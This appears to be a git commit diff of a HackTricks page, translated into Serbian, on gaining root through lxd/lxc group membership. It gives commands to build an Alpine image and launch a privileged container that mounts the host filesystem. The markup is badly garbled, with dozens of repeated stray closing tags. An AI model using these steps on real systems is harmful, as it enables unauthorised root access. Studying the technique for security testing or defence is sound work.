mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
Translated ['linux-hardening/privilege-escalation/interesting-groups-lin
This commit is contained in:
parent
aed0b758d7
commit
8e38a0c5a8
1 changed files with 121 additions and 87 deletions
|
@ -1,70 +1,52 @@
|
||||||
# lxd/lxc Grupa - Eskalacija privilegija
|
# lxd/lxc Grupa - Eskalacija privilegija
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root
|
Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root
|
||||||
|
|
||||||
## Eksploatacija bez interneta
|
## Eksploatacija bez interneta
|
||||||
|
|
||||||
### Metoda 1
|
### Metod 1
|
||||||
|
|
||||||
Možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
|
Možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
|
||||||
```bash
|
```bash
|
||||||
sudo su
|
sudo su
|
||||||
#Install requirements
|
# Install requirements
|
||||||
sudo apt update
|
sudo apt update
|
||||||
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
||||||
#Clone repo
|
|
||||||
|
# Clone repo
|
||||||
git clone https://github.com/lxc/distrobuilder
|
git clone https://github.com/lxc/distrobuilder
|
||||||
#Make distrobuilder
|
|
||||||
|
# Make distrobuilder
|
||||||
cd distrobuilder
|
cd distrobuilder
|
||||||
make
|
make
|
||||||
#Prepare the creation of alpine
|
|
||||||
|
# Prepare the creation of alpine
|
||||||
mkdir -p $HOME/ContainerImages/alpine/
|
mkdir -p $HOME/ContainerImages/alpine/
|
||||||
cd $HOME/ContainerImages/alpine/
|
cd $HOME/ContainerImages/alpine/
|
||||||
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
||||||
#Create the container
|
|
||||||
|
# Create the container
|
||||||
|
## Using build-lxd
|
||||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||||
|
## Using build-lxc
|
||||||
|
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
||||||
```
|
```
|
||||||
Otpremite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
Uploadujte fajlove **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
||||||
```bash
|
```bash
|
||||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||||
|
|
||||||
|
@ -92,7 +74,7 @@ lxc exec privesc /bin/sh
|
||||||
```
|
```
|
||||||
### Метод 2
|
### Метод 2
|
||||||
|
|
||||||
Изградите Alpine слику и покрените је користећи флаг `security.privileged=true`, прин forcing контејнер да интерагује као root са хост фајл системом.
|
Изградите Alpine слику и покрените је користећи флаг `security.privileged=true`, принужавајући контејнер да интерагује као root са хост фајл системом.
|
||||||
```bash
|
```bash
|
||||||
# build a simple alpine image
|
# build a simple alpine image
|
||||||
git clone https://github.com/saghul/lxd-alpine-builder
|
git clone https://github.com/saghul/lxd-alpine-builder
|
||||||
|
@ -112,7 +94,8 @@ lxc init myimage mycontainer -c security.privileged=true
|
||||||
# mount the /root into the image
|
# mount the /root into the image
|
||||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||||
|
|
||||||
{% hint style="success" %}
|
<div data-gb-custom-block data-tag="hint" data-style='success'>
|
||||||
|
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
@ -125,52 +108,103 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
</details>
|
|
||||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
{% endhint %}
|
</div>
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue